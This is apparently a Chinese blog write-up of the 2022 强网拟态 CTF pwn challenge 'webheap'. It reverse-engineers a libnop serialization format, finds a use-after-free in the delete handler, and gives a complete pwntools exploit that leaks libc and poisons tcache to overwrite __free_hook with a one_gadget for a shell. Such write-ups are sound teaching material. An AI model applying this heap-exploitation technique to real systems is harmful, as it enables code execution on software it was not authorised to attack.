2022强网拟态pwn-webheap

2022强网拟态pwn-webheap

这题的逻辑是一开始笔者硬逆给逆出来了,但是后面在Ex师傅的点播下成功的在github上找到了这个的原生项目
https://github.com/google/libnop
在这里插入图片描述
在审计的过程中发现了至关重要的信息,发现和逆向的格式一样的东西,就是上面的encoding_byte
首先在逆向中发现第一个必需要满足下面这个条件
在这里插入图片描述
在这里插入图片描述
笔者在调试的时候成功发现了char类型的溢出,-127~128,而-71对应的是0xb9,所以笔者后面在GitHub的那个项目上成功找到了,序列化的实例
在这里插入图片描述
上面给出10, “foo”,下面的compose的第一个就是0xb9,第二个是有几个参数,第三个是第一个参数的值,第四个是string类型,第五个是对应的foo的长度,第6个是foo这个字符串
所以笔者就配合前期逆向,顺着这上面的初步写了一个序列化实例
p8(0xb9) + p8(0x5) + p8(opt) + p8(index) + p8(0x82) + p32(size) + p8(0xbd) + p8(0x82) + p32(len(content)) + content
这个opt就是add,delete等的选择如下
在这里插入图片描述
0代表add,1代表show,序列化格式满足之后就会通过opt跳到这些处理函数中
index代表的是上图中的index,p8(0x82)代表后面要接一个p32的数据(这些都可以在上面的encoding_byte中找到是什么意思)p8(0xbd)代表的是字符串,接着后面会接content的长度和content,遵循上面的反序列化格式即可
在这里插入图片描述
但是直接这样的话会报STREAM error这个错误,笔者思考了一下发现后面可能要接上一个0来确定停止
在这里插入图片描述
p8(0xb9) + p8(0x5) + p8(opt) + p8(index) + p8(0x82) + p32(size) + p8(0xbd) + p8(0x82) + p32(len(content)) + content + p8(0)
最终如上构造就可以正常调用了
漏洞点的话出在delete中,一个uaf
在这里插入图片描述
笔者直接用的本机20.04的2.31 libc
简述一下笔者硬逆的过程
在这里插入图片描述
首先格式都在这个函数中,必须满足num0=-71,也就是0xb9,然后跟进442a函数里
在这里插入图片描述
接着又套着多个函数,如果格式不正确,会报一个0xe的错误也就是stream error了
在这里插入图片描述
在37e9中里可以逆出0x83这些东西
在这里插入图片描述
接着又可以在3c1f里逆出0x86这些东西
在这里插入图片描述
总的来说就是一层套一层很烦,然后再加上c++所以硬逆很费时间

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './webheap'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def Serial(opt, index, size, content):
    p1 = p8(0xb9) + p8(0x5) + p8(opt) + p8(index) + p8(0x82) + p32(size) + p8(0xbd) + p8(0x82) + p32(len(content)) + content + p8(0)
    r.sendlineafter('Packet length: ', str(len(p1)))
    r.sendafter('Content: ', p1)

def add(index, size):
    Serial(0, index, size, b'')

def show(index):
    Serial(1, index, 0, b'')

def delete(index):
    Serial(2, index, 0, b'')

def edit(index, content):
    Serial(3, index, 0, content)

add(0, 0x430)

add(1, 0x50)

delete(0)

show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = one[1] + libc_base

add(2, 0x68)
add(3, 0x68)
add(4, 0x68)

delete(2)
delete(3)

edit(3, p64(free_hook))
add(5, 0x68)
add(6, 0x68)
edit(6, p64(one_gadget))

r.interactive()

在这里插入图片描述
笔者看到了wjh师傅的exp,wjh师傅的思路也可以学习一下,改了一下项目的cpp和py,然后生成了so文件,就可以直接调用了
在这里插入图片描述

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值